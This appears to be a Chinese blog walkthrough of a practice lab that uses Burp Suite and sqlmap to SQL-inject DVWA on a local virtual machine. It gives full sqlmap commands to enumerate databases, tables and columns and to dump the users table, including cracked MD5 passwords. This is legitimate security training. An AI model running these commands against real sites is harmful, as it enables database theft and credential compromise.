使用sqlmap完成sql注入DVWA
kali和dvwa均在虚拟机中。
1、启动kali
2、启动dvwa,启动后地址为192.168.88.128
3、在kali中启动BP
4、在kali中启动firefox浏览器,设置代理为127.0.0.1,端口为8080,访问dvwa的sql injection页面,输入1,submit
5、在BP中查看http请求信息,记录:
url=“http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit”
cookies="security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6"
6、在kali中启动sqlmap,运行命令:
sqlmap -u “http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit” -cookie "security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6" -p id --batch
其中的参数p,表明注入使用的参数是id
--batch表示自动完成
-------------------------------------------------------------------------------------------------------运行结果
显示出DBMS为MYSQL,版本>=5.0
7、
运行命令:
sqlmap -u “http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit” -cookie "security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6" -p id --batch --dbs
---------------------------------------------------------------------------运行结果
显示出数据库为dvwa
8、
运行命令:
sqlmap -u “http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit” -cookie "security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6" -p id --batch -D dvwa --tables
---------------------------------------------------------------------------运行结果
显示出表格为users,guestbook
9、运行命令:
sqlmap -u “http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit” -cookie "security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6" -p id --batch -D dvwa -T users --columns
---------------------------------------------------------------------------运行结果
显示出users表格解构
10、
运行命令:
sqlmap -u “http://192.168.88.128/dvwa/unlneralilities/sqli/?id=1&Submit=Submit” -cookie "security=low;PHPSESSID=pvvg2oBks7tpc49u17g0jmmih6" -p id --batch -D dvwa -T users --dump
---------------------------------------------------------------------------运行结果
显示出users表格所以数据,其中用户密码已经从MD5还原为明文。
利用sqlmap比一个个测试快捷方便。
更多推荐


所有评论(0)